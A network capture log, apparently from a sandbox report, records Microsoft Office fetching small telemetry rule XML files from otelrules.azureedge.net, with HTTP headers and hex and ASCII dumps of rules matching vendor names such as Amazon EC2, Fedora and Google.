2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-r1d97b995778dpcthC1TEB4b5400000007q0000000004h9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95csp6jmhC1NYCwy6s000000092g0000000091at x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-r1d97b99577d6qrbhC1TEBux5s00000007ug00000000ef58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-1777c6cb754lvj6mhC1TEBke9400000008g000000000fv6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95cdcwrthC1NYCy5b8000000091g00000000m2z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-1777c6cb754b7tdghC1TEBwwa400000008q0000000000m0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:07 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181507Z-1777c6cb754mqztshC1TEB4mkc00000008eg00000000k9g7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:07 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181507Z-r1d97b99577d6qrbhC1TEBux5s00000007s000000000sp03 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:07 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181507Z-r1d97b99577jlrkbhC1TEBq8d000000007hg00000000mysx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:07 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181507Z-185f5d8b95cwtv72hC1NYC141w000000092g0000000052xf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181507Z-1777c6cb754lvj6mhC1TEBke9400000008e000000000ruda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:08 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181508Z-185f5d8b95crl6swhC1NYC3ueg000000096000000000st6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
